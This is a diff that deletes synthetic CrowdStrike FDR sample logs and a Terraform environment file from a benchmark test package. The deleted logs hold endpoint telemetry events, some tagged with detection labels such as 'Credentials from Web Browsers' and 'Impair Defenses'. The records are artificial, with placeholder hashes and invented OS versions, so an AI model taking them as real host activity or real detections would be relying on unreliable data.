-{"RegObjectName":"\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED\\{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}","ContextThreadId":"700420809200030","aip":"81.2.69.192","RegClassificationFlags":"1","RegOperationType":"1","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"8f2302b7d2a07c5d5568941494e0368e0144","EffectiveTransmissionClass":"3","RegStringValue":"fb.31|Action=Allow|Active=TRUE|Dir=In|App=C:\\9134161b\\3a93a12\\82be212b\\82be212b.exe|Name=Zscaler App Rule|Desc=Allow incoming network traffic to ZSATunnel|EmbedCtxt=ZSATunnel Rule Group|","timestamp":"1743508799999","event_simpleName":"RegSystemConfigValueUpdate","ContextTimeStamp":"1759424211.858","ConfigStateHash":"2080600092","ContextProcessId":"1007045000929","RegType":"1","RegClassificationIndex":"718","AuthenticationId":"864","ConfigBuild":"2c8b.4.ae3729d.e6","RegValueName":"{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}","RegClassification":"334","Entitlements":"86","name":"24ba14f1e5840e900e581616a2fe","aid":"be027d4cbada339f804f9c19f5a2d5a6","cid":"4092825518eaf67377a6e4492ae44577"} -{"aip":"89.160.20.128","event_platform":"Win","TokenType":"1","EventOrigin":"17","InterfaceGuid":"12ABC-345-56D7-X","RpcClientProcessId":"000000000000","id":"aaaaaaaaaa-c6b5-499a-a494-cccccccccc","EffectiveTransmissionClass":"3","timestamp":"1757935009450","LocalAddressIP4":"89.160.20.128","event_simpleName":"ServiceStarted","ContextTimeStamp":"1757935008.880","UserName":"redacted-computer-name","ConfigStateHash":"00000000","InterfaceVersion":"1111111","RpcClientThreadId":"2222222222222","AuthenticationId":"333","ServiceDisplayName":"","ConfigBuild":"1007.3.0019907.15","CommandLine":"C:\\Windows\\system32\\.exe","TargetProcessId":"444444444444","ImageFileName":"\\Device\\Volume\\Windows\\System32\\.exe","RpcOpNum":"19","Entitlements":"15","name":"ServiceStartedV2","ComputerName":"redacted-user-name","aid":"11111aaaaaaaaaaaaacccccccccddddd","RpcNestingLevel":"0","cid":"22222bbbbbbbbbbbbbdddddddddd1233"} -{"AuthenticodeHashDataSHA256":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","ContextThreadId":"1111111111111","CertificateIssuer":"Microsoft Windows Production PCA 2011","aip":"89.160.20.128","CertificateSignatureHash":"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb","CertificatePublisher":"Microsoft Windows","CompanyName":"Microsoft Corporation","event_platform":"Win","AuthenticodeHashData":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","OriginalFilename":"wdnisdrv.sys","FileVersion":"4.18.25070.5 (1abbbbbbccccccccccddddddd444444444422222)","ImageCheckSum":"123456","EventOrigin":"17","RpcClientProcessId":"000000000000","id":"aaaaaaaa-3328-4c62-b151-bbbbbbbbbbb","EffectiveTransmissionClass":"3","timestamp":"1757905962256","LocalAddressIP4":"89.160.20.128","event_simpleName":"DriverLoad","ContextTimeStamp":"1757905958.885","ConfigStateHash":"111111111","ContextProcessId":"000000000000","DriverLoadFlags":"0","ImageEntryPoint":"94208","MD5HashData":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","RpcClientThreadId":"1908581779603","SHA256HashData":"cccccccccccccccccccccccccccccccccccccccccccccccccccccc","ServiceDisplayName":"WdNisDrv","ConfigBuild":"1007.3.0019907.15","FixedFileVersion":"4.18.25070.5","RegistryPath":"","ImageFileName":"\\Device\\Volume\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\Drivers\\WdNisDrv.sys","ImageTimeStamp":"2448850720","Entitlements":"15","name":"DriverLoadV6","ComputerName":"redacted-computer-name","CertificateSignatureHashAlgorithm":"32780","aid":"11111aaaaaaaaaaaaacccccccccddddd","cid":"22222bbbbbbbbbbbbbdddddddddd1233","HashAlgorithm":"32780"} -{"ContextThreadId":"1945182997323","aip":"81.2.69.192","RegObjectName":"\\REGISTRY\\MACHINE\\SYSTEM\\REDACTED\\Services\\REDACTED\\Keyword\\REDACTED\\Keyword\\REDACTED","RegClassificationFlags":"257","RegOperationType":"2","event_platform":"Win","TokenType":"1","EventOrigin":"1","id":"8f2302b7d2a07c5d5568941494e0368e0144","EffectiveTransmissionClass":"3","RegStringValue":"","timestamp":"1757920331466","LocalAddressIP4":"81.2.69.192","event_simpleName":"RegCrowdstrikeValueUpdate","ContextTimeStamp":"1757920329.062","ConfigStateHash":"2080600092","ContextProcessId":"100704500092","RegType":"0","RegClassificationIndex":"405","AuthenticationId":"997","ConfigBuild":"1007.3.0019907.15","RegValueName":"{aaaaaaaaaaaaaa-aaaaaaaaaaaa-aaaaaaaaaa}","RegClassification":"102","Entitlements":"15","name":"RegCrowdstrikeValueUpdateV1","ComputerName":"redacted-computer-name","aid":"be027d4cbada339f804f9c19f5a2d5a6","cid":"4092825518eaf67377a6e4492ae44577"} -{"FileOperatorSid":"S-1-5-18","ContextBaseFileName":"svchost.exe","FileCategory":"3","Size":"22929","ContextThreadId":"1111111111111","MinorFunction":"0","aip":"89.160.20.128","IsOnNetwork":"0","FileIdentifier":"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1","event_platform":"Win","TokenType":"2","EventOrigin":"1","DiskParentDeviceInstanceId":"61f\\cd4242a2\\a3fcbe35","id":"9c458f0ddfe1293cd356445b2c473d0a0ef4","FileObject":"0","EffectiveTransmissionClass":"3","timestamp":"1757906530446","LocalAddressIP4":"89.160.20.112","event_simpleName":"PngFileWritten","ContextTimeStamp":"1757906529.857","UserName":"dev-win10-3$","ConfigStateHash":"1234437812","ContextProcessId":"111122223333","IrpFlags":"0","AuthenticationId":"999","FileWrittenFlags":"0","ConfigBuild":"1002.2.0019609.21","FileEcpBitmask":"0","MajorFunction":"0","IsOnRemovableDisk":"0","Entitlements":"15","name":"PngFileWrittenV3","ComputerName":"dev-win10-3","OperationFlags":"0","Attacks":[{"Tactic":"Command and Control","Technique":"Data Obfuscation"}],"aid":"bae5bafaeb93295d398bf55b8ba1cf01","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\Device\\Images\\qwert.png"} -{"event_simpleName":"MotwWritten","ConfigStateHash":"0222222222","ContextProcessId":"1111111111","aip":"89.160.20.128","FileIdentifier":"9c3110248de4f0a68f2fe668e59ed821d7d987845cd51ed1","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","HostUrl":"","Entitlements":"15","name":"MotwWrittenV2","EventOrigin":"1","ReferrerUrl":"","id":"9c458f-ddfe1293cd-56445b2c4-3d0a0ef4","EffectiveTransmissionClass":"3","aid":"bae5bafaeb93295d398bf55b8ba1cf01","timestamp":"1755541882619","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\Device\\Local\\Default\\Files\\asdf-ghkl"} -{"event_simpleName":"MountedVolume","BatchDataTotal":"3","VolumeSessionUUID":"BA6553C6-EA71-4F58-ADF2-EB7C71401657","BatchTimestamp":"1758303984.040","aip":"81.2.69.142","BatchDataNumber":"2","VolumeMountPoint":"\\??\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}","VolumeDriveLetter":"\\\\?\\Volume{ba6553c6-ea71-4f58-adf2-eb7c71401657}","event_platform":"Win","VolumeDeviceObjectFlags":"134479872","VolumeFileSystemDevice":"\\Ntfs","VolumeIsEncrypted":"0","VolumeFileSystemDriver":"\\FileSystem\\Ntfs","EventOrigin":"1","DiskParentDeviceInstanceId":"PCI\\VEN_15AD\u0026DEV_07F0\u0026SUBSYS_07F015AD\u0026REV_00\\4\u00263b50545d\u00260\u002600B8","VolumeDeviceCharacteristics":"131072","id":"4a10cafe-7a95-4659-80c0-9b670b2308c1","VolumeDeviceType":"8","EffectiveTransmissionClass":"3","timestamp":"1758303980922","LocalAddressIP4":"81.2.69.192","VolumeName":"\\Device\\HarddiskVolume4","VolumeSectorSize":"512","ConfigStateHash":"3667246164","MountedVolumeAction":"0","VolumeRealDeviceName":"\\Device\\HarddiskVolume4","VolumeLabel":"","ConfigBuild":"1007.3.0019907.15","VolumeEncryptionStatus":"0","VolumeFileSystemType":"2","Entitlements":"15","name":"MountedVolumeV1","VirtualDriveFileName":"","ComputerName":"ETW","aid":"bae5bafaeb93295d398bf55b8ba1cf01","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"FalconProcessHandleOpDetectInfo","GrandparentProcessId":"107378835181","GrandparentProcessPatternIdList":"","ParentProcessId":"107382228681","TemplateInstanceId":"20587","aip":"81.2.69.142","ParentImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\wininit.exe","HandleOperationType":"1","event_platform":"Win","PatternId":"10517","EventOrigin":"1","id":"da53cef8-72b1-4ca8-af19-2ae8f9c30fbf","ParentCommandLine":"wininit.exe","EffectiveTransmissionClass":"3","timestamp":"1757916888316","LocalAddressIP4":"81.2.69.192","ConfigStateHash":"3164437859","TemplateDisposition":"10","ContextProcessId":"107384762651","TargetProcessImageFileName":"\\Device\\HarddiskVolume4\\Program Files\\CrowdStrike\\CSFalconService.exe","ConfigBuild":"1007.3.0019907.15","CommandLine":"C:\\Windows\\system32\\services.exe","ParentProcessPatternIdList":"7201,7410,7426,7796","TargetProcessId":"107445999828","DesiredAccess":"2097151","ImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\services.exe","Entitlements":"15","name":"FalconProcessHandleOpDetectInfoV1","ComputerName":"win10-qwe-3","ContextProcessTagsAsString":"179,417,113292","aid":"cdbfd7c3bab5478d935db9969b5886cc","PatternIdList":"7053,7090,7119,7140,7201,7410,7426,7781,7796,7869,7871,7873,10199,10517","TargetProcessCommandLine":"\"C:\\Program Files\\CrowdStrike\\CSFalconService.exe\"","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"ServiceStopped","SourceProcessId":"111822186970","aip":"81.2.69.142","EtwRawRpcClientProcessId":"5940","event_platform":"Win","EventOrigin":"1","id":"e9e1ae71-7b21-4260-9891-f1dd497a7ea9","EffectiveTransmissionClass":"3","timestamp":"1761814422802","IsHosted":"0","LocalAddressIP4":"81.2.69.192","ContextTimeStamp":"1761814419.055","ConfigStateHash":"1611923365","EtwRawProcessId":"5940","ServiceDisplayName":"wuauserv","ConfigBuild":"1007.3.0020008.15","CommandLine":"C:\\Windows\\system32\\svchost.exe -k netsvcs -p -s wuauserv","TargetProcessId":"111822186970","ImageFileName":"\\Device\\HarddiskVolume4\\Windows\\System32\\svchost.exe","Entitlements":"15","name":"ServiceStoppedV2","ClientProcessStartKey":"7599824371187858","ComputerName":"win10-qwe-3","Attacks":[{"Tactic":"Defense Evasion, Impact","Technique":"Impair Defenses, Service Stop"}],"aid":"cdbfd7c3bab5478d935db9969b5886cc","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"KernelServiceStarted","LocalAddressIP4":"81.2.69.192","ContextTimeStamp":"1761811657.917","ConfigStateHash":"1146505100","ContextProcessId":"111669260464","ContextThreadId":"1984294987428","aip":"81.2.69.142","RpcClientThreadId":"1985175578964","ServiceDisplayName":"@C:\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\MpAsDesc.dll,-370","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","ImageFileName":"\\Device\\HarddiskVolume4\\ProgramData\\Microsoft\\Windows Defender\\Platform\\4.18.25070.5-0\\Drivers\\WdNisDrv.sys","Entitlements":"15","name":"KernelServiceStartedV3","ImageBaseName":"WdNisDrv.sys","EventOrigin":"17","ComputerName":"raquel-win10-3","RpcClientProcessId":"111754267474","id":"664425be-9ed3-4b41-8790-5bd12a9889e8","EffectiveTransmissionClass":"3","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1761811660596","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"InstalledBrowserExtension","BrowserName":"4","BrowserFilePath":"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe","BatchDataTotal":"2","BrowserProfileName":"Profile 1","BatchTimestamp":"1757820209.223","aip":"81.2.69.142","BrowserExtensionVersion":"1.2.1","BrowserExtensionInstalledTimestamp":"1748442656.300","BatchDataNumber":"1","UserSid":"S-1-5-21-2765107603-xxxx-500","event_platform":"Win","UpdateFlag":"1","BrowserProfileId":"Default","EventOrigin":"17","id":"0eaf2b81-3888-446f-99ba-e38ff8249b25","EffectiveTransmissionClass":"2","timestamp":"1757820209811","LocalAddressIP4":"81.2.69.192","BrowserExtensionArchitecture":"3","UserName":"win10_user3","ConfigStateHash":"3164437859","BrowserExtensionPath":"C:\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Edge\\User Data\\Default\\Extensions\\jmjflgjpcpepeafmmgdpfkogkghcpiha\\1.2.1_0","BrowserExtensionId":"jmjflgjpcpepeafmmgdpfkogkghcpiha","ConfigBuild":"1007.3.0019907.15","BrowserExtensionName":"Edge relevant text changes","BrowserExtensionStatusEnabled":"1","BrowserFileHash":"ef9d1b42ca58103e9647763f67303519a0701c7b1278af0ad25f7f673c10743b","Entitlements":"15","name":"InstalledBrowserExtensionV2","ComputerName":"win10-qwe-3","BrowserExtensionInstallMethod":"1","Attacks":[{"Tactic":"Persistence, Collection, Credential Access","Technique":"BrowserExtension, Browser Session Hijacking, Credentials from Web Browsers"}],"aid":"cdbfd7c3bab5478d935db9969b5886cc","BrowserVersion":"138.0.3351.83","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"SensorAntiTamperState","LocalAddressIP4":"81.2.69.192","ConfigStateHash":"1442922594","aip":"81.2.69.142","ConfigBuild":"1007.3.0019907.15","AntiTamperStateFlag":"9","event_platform":"Win","Entitlements":"15","name":"SensorAntiTamperStateV1","EventOrigin":"17","ComputerName":"win10-qwe-3","id":"8bee55a5-f768-48b9-ab4c-614a1283a58a","EffectiveTransmissionClass":"0","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1757648518836","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"SensorSettingsUpdate","RTRState":"1","LocalAddressIP4":"81.2.69.192","ConfigStateHash":"1442922594","aip":"81.2.69.142","Flags":"0","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","Entitlements":"15","name":"SensorSettingsUpdateV1","EventOrigin":"17","ComputerName":"win10-qwe-3","id":"c188e104-d940-46af-aed8-acf5086fc187","EffectiveTransmissionClass":"0","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1757648518836","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"ServicesStatusInfo","LocalAddressIP4":"81.2.69.192","ConfigStateHash":"1694325680","aip":"81.2.69.142","ServiceDisplayName":"spooler","ConfigBuild":"1007.3.0019907.15","event_platform":"Win","Entitlements":"15","name":"ServicesStatusInfoV1","EventOrigin":"17","ComputerName":"win10-qwe-3","id":"37ddccdf-594d-4224-97de-e784822466f4","ErrorCode":"0","EffectiveTransmissionClass":"0","aid":"cdbfd7c3bab5478d935db9969b5886cc","timestamp":"1757819610498","cid":"4092825518eaf67377a6e4492ae44577","ServiceCurrentState":"4"} -{"event_simpleName":"FileWrittenWithEntropyHigh","Size":"12216","ShannonEntropy":"932","aip":"81.2.69.142","BoundingLimitCount":"5","event_platform":"Win","EventOrigin":"1","id":"fc10d190-e98f-45fc-bb2a-ca60d3534a2a","EffectiveTransmissionClass":"3","timestamp":"1761811953235","LocalAddressIP4":"81.2.69.192","ContextTimeStamp":"1761811952.620","ConfigStateHash":"1146505100","ContextProcessId":"111845303038","AuthenticationId":"999","ConfigBuild":"1007.3.0019907.15","FileEcpBitmask":"0","BoundingLimitDuration":"3600000","Entitlements":"15","name":"FileWrittenWithEntropyHighV2","ComputerName":"win10-qwe-3","Attacks":[{"Tactic":"Defense Evasion","Technique":"Obfuscated Files or Information"}],"aid":"bae5bafaeb93295d398bf55b8ba1cf01","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"\\Device\\HarddiskVolume4\\Windows\\Temp\\APPX.fb9inon0wlj06bji0gujvuvcd.tmp"} -{"event_simpleName":"ReflectiveDotnetModuleLoad","AssemblyName":"vezhsq1h, Version\u003d0.0.0.0, Culture\u003dneutral, PublicKeyToken\u003dnull","ModuleNativePath":"","NativePdbBuildPath":"","aip":"81.2.69.142","event_platform":"Win","DotnetModuleFlags":"8","DotnetModuleId":"140707789195504","EventOrigin":"1","id":"b089f099-ffac-44fd-9efe-e1bc148214ee","EffectiveTransmissionClass":"3","timestamp":"1755638644187","ManagedPdbBuildPath":"","ContextTimeStamp":"1755638637.713","ConfigStateHash":"3064617115","ContextProcessId":"11708829302","AssemblyFlags":"0","EtwProviderType":"2","ConfigBuild":"1007.3.0019907.15","CommandLine":"\"C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\"","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","Entitlements":"15","name":"ReflectiveDotnetModuleLoadV2","AssemblyId":"1825020243168","aid":"cdbfd7c3bab5478d935db9969b5886cc","ModuleILPath":"vezhsq1h","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"SuspiciousPrivilegedProcessHandle","IntegrityLevel":"16384","ContextThreadId":"1217210494023","aip":"81.2.69.142","TargetIntegrityLevel":"16384","event_platform":"Win","SuspiciousHandleOpenReason":"2","EventOrigin":"1","id":"87902694-15af-4692-b1e2-bf7fba80b272","HandleCreated":"0","EffectiveTransmissionClass":"3","timestamp":"1757597618983","LocalAddressIP4":"81.2.69.192","ContextTimeStamp":"1757597618.424","ConfigStateHash":"3591479077","ContextProcessId":"90332841484","AuthenticationId":"996","ConfigBuild":"1007.3.0019907.15","TargetProcessId":"90365065195","DesiredAccess":"2097151","Entitlements":"15","name":"SuspiciousPrivilegedProcessHandleV2","ComputerName":"win10-qwe-3","aid":"cdbfd7c3bab5478d935db9969b5886cc","TargetAuthenticationId":"996","cid":"4092825518eaf67377a6e4492ae44577"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/env.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/env.yml deleted file mode 100644 index 6e1f17f7a9..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/env.yml +++ /dev/null @@ -1,10 +0,0 @@ -version: '2.3' -services: - terraform: - environment: - - AWS_ACCESS_KEY_ID=${AWS_ACCESS_KEY_ID} - - AWS_SECRET_ACCESS_KEY=${AWS_SECRET_ACCESS_KEY} - - AWS_SESSION_TOKEN=${AWS_SESSION_TOKEN} - - AWS_PROFILE=${AWS_PROFILE} - - AWS_REGION=${AWS_REGION:-us-east-1} - - TF_VAR_eventbridge_role_arn=arn:aws:iam::144492464627:role/eb-scheduler-role-20231101165501426500000001 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_aidmaster.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_aidmaster.log deleted file mode 100644 index 5cf7cfb6de..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_aidmaster.log +++ /dev/null @@ -1,5 +0,0 @@ -{"AgentLoadFlags":"1","AgentLocalTime":"1697712608","AgentTimeOffset":"-1918.056","AgentVersion":"6.58.13921.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.21010423/w64","ChassisType":"Other","City":"Varanasi","ComputerName":"FEVWSA1-003","ConfigBuild":"1007.3.0017213.1","ConfigIDBuild":"13921","Continent":"Asia","Country":"India","FalconGroupingTags":"'FalconGroupingTags/INDIA'","FirstSeen":"1619196080.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"SAT;FE;VDI;Global;Offices","PointerSize":"8","ProductType":"1.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"GNG","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992784.144","Timezone":"Asia/Varanasi","Version":"Windows 10","aid":"ffffffffa63e404bba4bff7465ab3afb","aip":"214.3.91.8","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"} -{"AgentLoadFlags":"0","AgentLocalTime":"1697054061","AgentTimeOffset":"12274.197","AgentVersion":"7.01.13921.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.210105623/u64","ChassisType":"Other","City":"Hamilton","ComputerName":"MIVWIN21","ConfigBuild":"1007.3.0017312.1","ConfigIDBuild":"13921","Continent":"Europe","Country":"Iceland","FalconGroupingTags":"'FalconGroupingTags/Iceland'","FirstSeen":"1576097732.0","HostHiddenStatus":"Visible","MachineDomain":"iceland.bigbiz.local","OU":"Infrastructure for CM;Citrix BM","PointerSize":"8","ProductType":"3.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"Mosfellsbær","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992773.787","Timezone":"Europe/Iceland","Version":"Windows Server 2022","aid":"ffffffff3c0846978560dbc0048d6555","aip":"42.7.15.32","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"} -{"AgentLoadFlags":"0","AgentLocalTime":"1697069182","AgentTimeOffset":"-2275.344","AgentVersion":"7.01.13922.0","BiosManufacturer":"American Megatrends","BiosVersion":"FW29-234098","ChassisType":"Space-Saving","City":"Mumbai","ComputerName":"FEVWSA1-029","ConfigBuild":"1007.3.0017312.1","ConfigIDBuild":"13922","Continent":"Asia","Country":"India","FalconGroupingTags":"'FalconGroupingTags/India'","FirstSeen":"1592645590.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"PROD;Win10 Workstations;India;Offices","PointerSize":"8","ProductType":"1.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"IO","SystemManufacturer":"Dell","SystemProductName":"Dell Note","Time":"1697992701.85","Timezone":"India/Mumbai","Version":"Windows 10","aid":"ffffffffc59c473aa7fcbbe7438082cb","aip":"42.7.16.195","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"} -{"AgentLoadFlags":"1","AgentLocalTime":"1697735519","AgentTimeOffset":"15963.231","AgentVersion":"6.56.17010.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.210105623/u64","ChassisType":"Other","City":"Chicago","ComputerName":"FEVWSN1-009","ConfigBuild":"1007.3.0017010.1","ConfigIDBuild":"17010","Continent":"North America","Country":"America","FalconGroupingTags":"none","FirstSeen":"1641998107.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"UAT;CAA;VDI;Global;Offices","PointerSize":"8","ProductType":"1.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"BCL","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992762.221","Timezone":"America/Chicago","Version":"Windows ME","aid":"ffffffffac4148947ed68497e89f3308","aip":"16.15.12.10","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"} -{"AgentLoadFlags":"1","AgentLocalTime":"1697775225","AgentTimeOffset":"15889.017","AgentVersion":"7.01.13922.0","BiosManufacturer":"Iris","BiosVersion":"vG17V.21040423/z64","ChassisType":"Other","City":"Chicago","ComputerName":"FEVWSN1-234","ConfigBuild":"1007.3.0017312.1","ConfigIDBuild":"13922","Continent":"North America","Country":"United States of America","FalconGroupingTags":"'FalconGroupingTags/AMERICA'","FirstSeen":"1628678052.0","HostHiddenStatus":"Visible","MachineDomain":"groot.org","OU":"Servers;America;Offices","PointerSize":"8","ProductType":"3.0","SensorGroupingTags":"none","ServicePackMajor":"0","SiteName":"BCL","SystemManufacturer":"Iris","SystemProductName":"IrOS","Time":"1697992719.22","Timezone":"America/Chicago","Version":"Windows Server 2021","aid":"ffffffff655344736aca58d17fb570f0","aip":"16.15.12.10","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_userinfo.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_userinfo.log deleted file mode 100644 index a663f3cdd4..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-0_userinfo.log +++ /dev/null @@ -1 +0,0 @@ -{"AccountType":"Domain User","LastLoggedOnHost":"COMPUTER1","LocalAdminAccess":"No","LogonInfo":"Domain User Logon","LogonTime":"1702546155.197","LogonType":"Interactive","PasswordLastSet":"1699971198.062","User":"DOMAIN\\BRADLEYA","UserIsAdmin":"0","UserLogonFlags_decimal":"0","UserName":"Alan-One","UserSid_readable":"S-1-12-1-3697283754-1083485977-2164330645-2516515886","_time":"1702546168.576","cid":"ffffffff15754bcfb5f9152ec7ac90ac","event_platform":"Win","monthsincereset":"1.0"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-sample.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-sample.log deleted file mode 100644 index f3d053e28c..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/deploy/tf/files/fdr-sample.log +++ /dev/null @@ -1,128 +0,0 @@ -{"ParentProcessId":"362225661973273550","SourceProcessId":"362225661973273550","aip":"67.43.156.14","SessionProcessId":"363970027584976556","SyntheticPR2Flags":"8","event_platform":"Mac","SVUID":"501","id":"ffffffff-1111-11eb-8dd4-061759968cdf","EffectiveTransmissionClass":"2","timestamp":"1625677521162","ProcessGroupId":"363970027584976556","event_simpleName":"SyntheticProcessRollup2","RawProcessId":"9505","ContextTimeStamp":"1625677521.137","GID":"20","ConfigStateHash":"1620585913","SVGID":"20","ConfigBuild":"1007.4.0013701.1","UID":"501","CommandLine":"/bin/sh -s unix:cmd","TargetProcessId":"363970027584976556","ImageFileName":"/bin/sh","RGID":"501","SourceThreadId":"0","Entitlements":"15","name":"SyntheticProcessRollup2MacV3","RUID":"501","aid":"ffffffffa63e404bba4bff7465ab3afb","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"FileDeletedCount":"0","DirectoryCreatedCount":"0","ContextThreadId":"0","aip":"67.43.156.14","NetworkConnectCount":"0","NetworkListenCount":"0","event_platform":"Mac","NetworkBindCount":"0","NetworkRecvAcceptCount":"0","id":"ffffffff-1111-11eb-9d75-02bcf3ade03b","NewExecutableWrittenCount":"0","NetworkCloseCount":"0","EffectiveTransmissionClass":"3","SuspectStackCount":"0","timestamp":"1625677524102","event_simpleName":"EndOfProcess","RawProcessId":"33454","ContextTimeStamp":"1625677523.068","ConfigStateHash":"3090255842","ContextProcessId":"365053603452626914","AsepWrittenCount":"0","SuspiciousDnsRequestCount":"0","ConfigBuild":"1007.4.0013701.1","NetworkCapableAsepWriteCount":"0","ExecutableDeletedCount":"0","TargetProcessId":"365053603452626914","DnsRequestCount":"0","Entitlements":"15","name":"EndOfProcessMacV15","aid":"ffffffff3c0846978560dbc0048d6555","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"RawBindIP6","ContextTimeStamp":"1625677488.594","LocalAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","RemoteAddressIP6":"2a02:cf40:add:4002:91f2:a9b2:e09a:6fc6","ConfigStateHash":"1620585913","ConnectionFlags":"0","ContextProcessId":"365042236081053654","RemotePort":"546","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"547","Entitlements":"15","name":"RawBindIP6MacV10","id":"ffffffff-1111-11eb-ad8d-064c77be2fd1","Protocol":"17","EffectiveTransmissionClass":"3","aid":"ffffffffc59c473aa7fcbbe7438082cb","ConnectionDirection":"2","InContext":"0","timestamp":"1625677488615","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"ProcessRollup2Stats","ConfigStateHash":"1620585913","Timeout":"600","aip":"67.43.156.14","SHA256HashData":"f8bd34d4ac025f862c6fe8f3fd3f170072f94f1f2ec9dc6cb2d7925422b77018","ProcessCount":"4","ConfigBuild":"1007.4.0013701.1","UID":"502","event_platform":"Mac","CommandLine":"ruby --disable-gems sorbet/feature_dependency_plugin.rb --class EmergingAlbertsonsPickupBannerDiscount --method feature_dependency --source feature_dependency Domain::FeatureDependencies::RouletteUserFeature.new(\n feature_name: FEATURE_NAME,\n variants: [FEATURE_VARIANT],\n )","Entitlements":"15","name":"ProcessRollup2StatsMacV1","id":"ffffffff-1111-11eb-822b-06081a3f0f45","EffectiveTransmissionClass":"2","aid":"ffffffff59fe460783ea45d59e417d6f","timestamp":"1625677504527","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} -{"event_simpleName":"SensorHeartbeat","ConfigStateHash":"3090255842","NetworkContainmentState":"0","aip":"67.43.156.14","ConfigIDBase":"65994753","SensorStateBitMap":"0","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"SensorHeartbeatMacV4","ConfigIDPlatform":"4","id":"ffffffff-1111-11eb-97c6-02fd02aca859","ConfigIDBuild":"13701","EffectiveTransmissionClass":"0","aid":"ffffffffe1ad47b6b5b44ae9151a6cf3","ProvisionState":"1","timestamp":"1625677514783","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} 